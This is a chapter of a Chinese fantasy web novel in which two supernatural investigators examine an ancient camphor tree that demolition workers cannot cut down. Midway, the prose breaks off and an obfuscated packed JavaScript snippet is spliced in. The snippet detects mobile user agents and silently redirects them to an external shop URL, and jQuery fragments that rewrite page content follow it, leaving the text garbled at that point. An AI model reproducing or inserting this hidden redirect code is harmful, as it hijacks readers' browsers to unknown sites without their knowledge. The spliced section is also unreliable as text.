林砚站在老樟树下，仰头看了很久。
树冠很大，大到能把半个篮球场遮住。阳光从树叶缝隙漏下来，在地上画出一片光斑，像打碎的鸡蛋。树下有石凳，石凳上刻着棋盘，楚河汉界，线条已经模糊了，像是被人磨了无数遍。一个老头坐在石凳上，手里拿着一本泛黄的棋谱，老花镜架在鼻梁上，嘴里念念有词，但没有对手。另一个老头蹲在旁边看蚂蚁搬家，看得很认真，好像那窝蚂蚁比他的养老金还重要。更远的地方，一个老太太在树枝上系了根晾衣绳，绳上挂着一床被子、两条床单、三件衬衣。被子是大红花的，床单是浅蓝色的，衬衣是白色的，已经洗得发白了，领子都磨毛了。
一切正常。
林砚掏出灵测符，银色的，边缘烫金。总局统一配发的，精度是民间符咒的十倍。他将符纸夹在指间，轻轻一抖。符纸发出淡淡的银光，缓缓飘向树干，围着树转了一圈，然后落回他手中。他低头看了一眼上面的数据。
妖气浓度——无。危险等级——E级（无害）。备注——未检测到异常妖气波动。
“无害？”林砚皱起眉头。他想起拆迁办那些人的描述——锯片一碰就崩，电锯没电，油锯熄火，工人锯了一天就发高烧说胡话，工头砍了三刀进了医院，整个拆迁办七个人连续做噩梦，醒来身上有淤青。这叫无害？
他又测了一次。符纸飘出去，转了一圈，落回来。数据一模一样。妖气浓度——无。危险等级——E级。林砚收起符纸，站在树下，看着那棵树，看了好一会儿。
“小伙子，你站这儿好一会儿了，挡着我光了。”看蚂蚁的老头抬起头，白了他一眼。
林砚往旁边让了让。
“你是来砍树的？”老头又看了他一眼，目光在他胸口银色徽章上停了一下。
“不是。”
“那你来干什么？”
“来看看。”
老头端详了他一会儿，忽然问：“你是政府的人？”
林砚想了想。“算是。”
老头沉默了一下，又低头看蚂蚁了。“那你帮不了它。”
林砚愣了一下。“帮谁？”
老头没回答。他看蚂蚁看得很专注，好像那窝蚂蚁正在举行什么重要的仪式，不能被打扰。
“大爷，这树怎么回事，你知道吗？”
老头沉默了一会儿，落了一子。“这棵树砍不得。”
“为什么？”
“它在这里长了多少年了，我小时候就在。我爷爷小时候也在。我爷爷的爷爷小时候……”老头想了想，“反正很久了。它没碍事。”
“它碍事了。这片小区要拆，要盖商场。它的位置是商场大门。”
老头抬起头看着林砚。“商场的大门，比一棵活了几百年的树还重要？”
林砚没有回答。他不知道怎么回答。在他的规矩里，城市要发展，拆迁要推进，开发商花了钱，规划图已经批了。在老头的规矩里，一棵树比商场重要。谁的规矩对？他不知道。他想给苏瓷打电话。
他掏出手机，给苏瓷打电话。响了几声，接了。
“苏瓷。”
“嗯。”那边声音含混不清，像是刚被吵醒。
“有案子。”
“什么案子？”
“城西。一棵树。”
苏瓷沉默了一下。“树？”
“嗯。砍不掉。”
“什么叫砍不掉？”
“工人锯了三天，锯不动。锯片换了十几副，一碰树干就崩。电锯沒电，油锯熄火，手锯卷刃。工头不信邪，自己上去砍，砍了三刀，手臂抬不起来了。”
“树精？”
“不知道。”林砚他靠在树干上，把手机换了个耳朵。“我这边查不到妖气。灵测符显示E级，无害。”
“无害？那找我干嘛？”
“你不是什么妖都见过吗？”
“我见过程序员鬼，见过河童，见过狐狸精，见过僵尸。”苏瓷掰着手指数，“没见过来砍树的。你看我像伐木工吗？”
林砚没说话。
那边似乎叹了口气，然后说道：“等我。”
苏瓷将手机扔到一边，艰难地爬起来。
“姐，谁啊？”小九从厨房探出头。
“林砚。除了他还有谁。”
“这么早？案子？”
“嗯。一棵树。”
小九想了想。“树也会闹事？”
“砍不掉。”
小九沉默了一会儿。“树精？”
“去看看才知道。”
苏瓷从沙发上爬起来，拿起油纸伞。她路过茶几的时候，看到小九端着一碗黑乎乎的东西走过来。
“你今天又煮什么了？”
“黑芝麻糊。”
“芝麻糊不是黑的吗？”
“是黑的。但这个特别黑。因为糊了。”
苏瓷看着那碗“芝麻糊”，沉默了一下，没接。她走到门口，小九变成小狐狸钻进背包里。楼下的大爷在遛狗，狗在拉屎。大爷看到苏瓷，抬了抬手。
“姑娘，今天起得早。”
“有案子。”
“什么案子？”
“一棵树。”
大爷想了想。“我家院子里的枇杷树，每年结果子掉一地，烦死了。能帮我砍了吗？”
“您那是舍不得砍。”
大爷沉默了。
苏瓷下车的时候，差点被地上的坑绊了一下。墙皮脱落，露出里面的红砖，电线像蜘蛛网一样缠在楼与楼之间，有些地方的电线垂下来，伸手就能够到。小区的中央有一棵大樟树，树冠遮天蔽日，树干粗得三个成年人才合抱得过来。
林砚看到她远远走过来——卫衣，人字拖，油纸伞，背包里露出一只狐狸脑袋，狐狸正在吃辣条。她的头发乱得像是刚从被窝里爬出来，但林砚知道她就是刚从被窝里爬出来的。
苏瓷一边走一边说道：“你查不到妖气，是因为它根本不是妖。它是树。活久了，有灵了。城隍庙登记过吗？”
林砚愣了一下。“城隍庙还登记树？”
“活久了的东西都登记。你帮我查一下。”
林砚翻开随身的平板电脑，登录城隍庙的妖籍查询系统。他输入了坐标和树龄范围，几秒钟后，屏幕上弹出了一条记录。编号：TREE-000。物种：樟树。树龄：约三百年。登记时间：五十年前。最后一次审核：十年前。备注——“树龄约三百年。未发现攻击性。建议保护。经办人：孟。”
林砚盯着那个“孟”字看了很久。孟。城隍爷姓孟。这棵树的档案是城隍爷亲手登记的。
“查到了？”苏瓷问。
“查到了。编号TREE-000。备注写的是‘未发现攻击性，建议保护’。经办人是城隍爷。”
林砚盯着那个“孟”字看了很久。孟。城隍爷姓孟。这份档案是城隍爷亲手登记的。他拿起手机，拨了个号码。城隍庙妖籍管理处的电话。响了七声，接了。那边声音懒洋洋的，像是刚从午睡中醒来。
“你好，城隍庙妖籍管理处。”
“我是捉妖总局第三分局林砚。关于编号TREE-000，城西老小区那棵樟树，我想了解一下详细情况。”
对方沉默了一下。“你等一下。”电话那头传来翻纸的声音，很慢，像是在翻一本很久没人动过的档案。“找到了。这棵树啊，登记五十年了。当时是城隍爷亲自去勘查的。”
“城隍爷？”
“嗯。他退休前一星期去的。回来写了一份报告，专门讲了这棵树。说‘此树有灵，宜留不宜伐’。还签了字。”
林砚沉默了一会儿。“那方总想砍树，城隍庙这边知道吗？”
“知道。方总派人来问过。我们告诉他了，这棵树不能砍。他不信。”
“然后呢？”
“然后城隍爷说了一句话。”
“什么话？”
“你试试。”
林砚挂了电话，站在树下，看着那棵树。城隍爷说“你试试”。方总试了。换了三批工人，工头进了医院，施工队没人敢动。道士、和尚、风水先生都来了，看了一眼就走。方总不信邪，但他也没办法。他只能找捉妖总局。林砚忽然觉得，城隍爷退休前早就知道这一天会来。所以他留了档案。留了备注。留了那句“你试试”。不是威胁，是预言。
苏瓷那边沉默了一会儿。“所以城隍爷退休前就管过这棵树。他让它留着。”
林砚靠在树干上，仰头看着树冠。树叶哗啦哗啦地响，有风，但不大。“那现在怎么办？”
苏瓷走到树下，先抬头看树，看了五分钟。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510558|202976||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
林砚站在旁边，跟着她抬头看，不知道在看什么。树叶还在哗啦哗啦地响，有风，但不大。苏瓷看了很久，林砚等了很久。
“你看什么？”他终于忍不住问。
“看它有没有掉叶子。”
“掉叶子？”
“秋天掉叶子正常。它不掉，说明有问题。”
林砚也看了看地面。地上有几片落叶，不多。他看了看树冠，叶子还有很多。“那它掉了吗？”
“掉了。”苏瓷蹲下来，捡起一片落叶，看了看叶脉，“但掉得不多。比正常的少。说明它心情不好。”
林砚愣了一下。“树也会心情不好？”
“活的都会。”
苏瓷把叶子放进口袋，站起来，拍了拍膝盖上的灰。她走到树前，抬头看着树冠。阳光从树叶缝隙漏下来，洒在地上，像碎金子。树很老。她能感觉到。不是视觉，是那种——从骨头缝里往外渗的老。像老赵的房间，冷。但这棵树不是冷，是静。静得让人想坐下，什么都不想。苏瓷伸手摸了摸树干。树皮粗糙，裂开的纹路像老人的手。树干在微微震动，不是害怕，是在呼吸。她把耳朵贴在树干上，听了一会儿。林砚站在旁边，等着。小九从背包里探出头，也看着那棵树。风吹过来，树叶哗啦哗啦地响。苏瓷听了很久。
“它说什么了？”林砚问。
苏瓷睁开眼睛。“它在等人。”
“等谁？”
“等种它的人。”
林砚想起拆迁办老周说的——道士说“它在等人”，和尚说“这树有主”，风水先生说“下面埋着东西”。“种树的人还活着吗？”
“不知道。”
“它等人做什么？”
苏瓷想了想。“等那个人回来收回她的许愿牌。”
林砚沉默了一下。“许愿牌在哪儿？”
“在树下面。埋着。”苏瓷蹲下来，看着树根。树根从地面拱起，盘根错节，像老年人的血管。她指了指最大的一根树根旁边的那块土。“那里。土是松的。有人挖过。”
林砚也蹲下来，看了看。土确实松了，但挖得不深，像是刚扒开表面。挖坑的人可能只挖了几下就停了，可能是锯片断了，可能是被什么东西吓到了。
“谁挖的？”林砚问。
“不知道。可能是老周，可能是拆迁办的人，可能是做梦的人。他们想找答案。没找到。”
苏瓷站起来，拍了拍手上的灰。她抬头看着树冠，又看了好一会儿。然后她从口袋里掏出辣条，拆开，咬了一口。辣条是辣的，今天日子不错。
“林砚。”
“嗯。”
“你刚才说灵测符显示E级无害？”
“嗯。”
“那就是无害。它不伤人。它只是不想被砍。”
“那拆迁办的人……”
“他们做噩梦，是因为树在跟他们说话。它不会说人话，只能托梦。让他们知道——它疼。”
林砚沉默了一下。“树也会疼？”
“你梦里的树都会疼了，你说呢？”
林砚想起老周说的——“锯子过来了，疼。不是钻心的疼，是很闷的那种疼，像有人拿着锤子敲你的骨头。”他想起自己小时候奶奶家的枣树被砍的那天，他不在场。但他梦到过。梦到枣树倒了，砸在奶奶家的屋顶上。他醒来的时候枕头是湿的。他告诉自己那是汗。不是眼泪。
“苏瓷，城隍庙那边知道这棵树的情况吗？”
“知道。档案不是查了吗？城隍爷亲手登记的，备注写的是‘建议保护’。他退休前就交代过，这棵树不能砍。”
“那方总为什么还要砍？”
苏瓷嚼着辣条。“因为方总不信邪。他是商人。商人只信合同、工期、违约金。他不信树会托梦。不亲眼看到，不会信的。”
“那让他来看。”
苏瓷看着他。“你让他来看什么？看树？他来了，树又不会说话。他只会看到一棵树，很大，很老，挡着他盖商场。他不会看到别的。”
林砚沉默了。苏瓷把辣条吃完，把包装袋揉成团，塞进口袋。她转身看着那棵树，伸出手，拍了拍树干。
“它等了三百多年。不差这几天。”
林砚看着她。“你打算怎么办？”
“先坐着，休息一下。”